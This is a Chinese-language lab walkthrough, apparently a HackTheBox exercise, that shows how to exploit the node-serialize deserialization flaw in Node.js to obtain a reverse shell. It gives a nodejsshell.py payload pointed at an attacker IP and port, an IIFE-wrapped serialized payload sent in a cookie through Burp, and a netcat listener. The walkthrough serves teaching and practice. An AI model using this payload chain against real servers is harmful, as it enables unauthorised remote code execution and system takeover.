NodeJS反序列化漏洞利用getshell

x
用微信扫描二维码
分享至好友和朋友圈

  

  node.js是一个服务器端的运行环境,封装了Google V8引擎,V8引擎执行JavaScript速度非常快,性能非常好。Node.js进行了一些优化并提供替代API,这使得Google V8引擎能够在非浏览器环境下更有效的运行。

  但是node.js的序列化过程中依然存在远程代码执行漏洞。更直白的说,其实是node.js的node-serialize库存在漏洞。通过传输JavaScript IIFE(立即执行函数表达式),攻击者可以利用恶意代码(不受信任的数据),在反序列化过程中远程执行任意代码。

  
漏洞演示环境

  靶机:hackthebox节点服务器

  攻击机:Kali Linux

  安装工具:nodejs,npm,nodejs toolkit,node-serialize

  
关于漏洞(反序列化攻击)

  不受信任的数据传递到unserialize()函数,导致我们可以利用JavaScript对象的立即执行函数表达式也就是IIFE来执行任意代码。

  第一步就是安装nodejs,通过apt-get命令进行安装,如下图

  apt-get install nodejs

  

  第二步,使用curl命令安装npm(需要用npm来安装node-serialize包),命令如下:

  curl -L https://www.npmjs.com/install.sh | sh

  

  当你安装和配置好了nodejs和npm之后,你就可以通过npm来安装node-serialize包了,输入以下命令即可:

  npm install node-serialize

  

  另一方面,我们已经连接到了hackthebox服务器,它的节点服务器存在漏洞,IP是10.10.10.85:3000(节点服务器上运行着nodejs express 框架,可以通过nmap来确认)

  

  现在我们开始演示

  首先,我们配置好Burp的代理设置,然后向刚才存在漏洞的IP发起请求,用Burp抓包拦截,如图:

  

  接着选择cookie值发送到decoder模块进行解码,如图:

  

  这个应用程序的漏洞就是从HTTP请求的cookie中读取profile的值,进行base64解码后传递给unserialize()函数。由于cookie输入是不可信的,攻击者可以精心构造恶意cookie值来利用此漏洞。

  接着我们需要下载nodejs security toolkit(nodejs安全工具包)。

  在终端中输入以下命令来下载工具包:

  git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

  

  切换到下载的文件夹,执行以下命令来创建反向shell payload,这个payload会把JavaScript代码当成字符串来执行。

  python nodejsshell.py 10.10.14.145 4443

  不过首先我们得输入ifconfig来查看自己的IP地址, 然后再执行命令来创建payload,如图:

  

  下图就是最终的反向shell payload:

  

  现在我们用下面的JavaScript代码来生成序列化的payload

  var y = {

   rce : function() {}

   }

  var serialize = require(‘node-serialize’);

  console.log(“Serialized: \\n” + serialize.serialize(y));

  

  将刚才生成的payload放到花括号里,如图:

  

  将文件保存为exploit.js,然后使用node命令执行脚本来生成最终序列化的payload:

  

  现在回到Burp中,切换到decoder模块并粘贴上图中的输出代码到文本框中解码成字符串,解码之前,在函数体后面加上IIFE圆括号():

  然后需要对字符串进行base64编码

  

  向10.10.10.85:3000发出请求,拦截,发送到repeater模块中,

  

  在repeater模块中,我们把cookie里的值替换成上面我们刚生成的payload,然后点击go按钮

  

  同时,在你的攻击机kali上监听4443端口(也就是反向shell payload里的端口)

  

  一旦你点击了“go”按钮,服务器接收到请求,返回200 OK响应码,并显示一条错误消息” An error occurred…invalid username type”,同时在nc终端中,你会看到你已经与服务器建立了连接,状态为“connected”,然后你就可以任意执行系统命令了,如图:

  

  

  

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

跟贴 跟贴 1 参与 101
推荐
资讯
财经
科技
娱乐
游戏
搞笑
汽车
历史
生活
更多
二次元
军事
教育
健身
健康
家居
故事
房产
宠物
旅游
时尚
美食
育儿
情感
人文
数码
三农
艺术
职场
体育
星座
© 1997-2020 网易公司版权所有 About NetEase | 公司简介 | 联系方法 | 招聘信息 | 客户服务 | 隐私政策 | 广告服务 | 侵权投诉 Reporting Infringements | 不良信息举报

嘶吼RoarTalk

不一样的互联网安全新视界

头像

嘶吼RoarTalk

不一样的互联网安全新视界

4005

篇文章

7975

人关注

列表加载中...
请登录后再关注
x

用户登录

网易通行证/邮箱用户可以直接登录:
忘记密码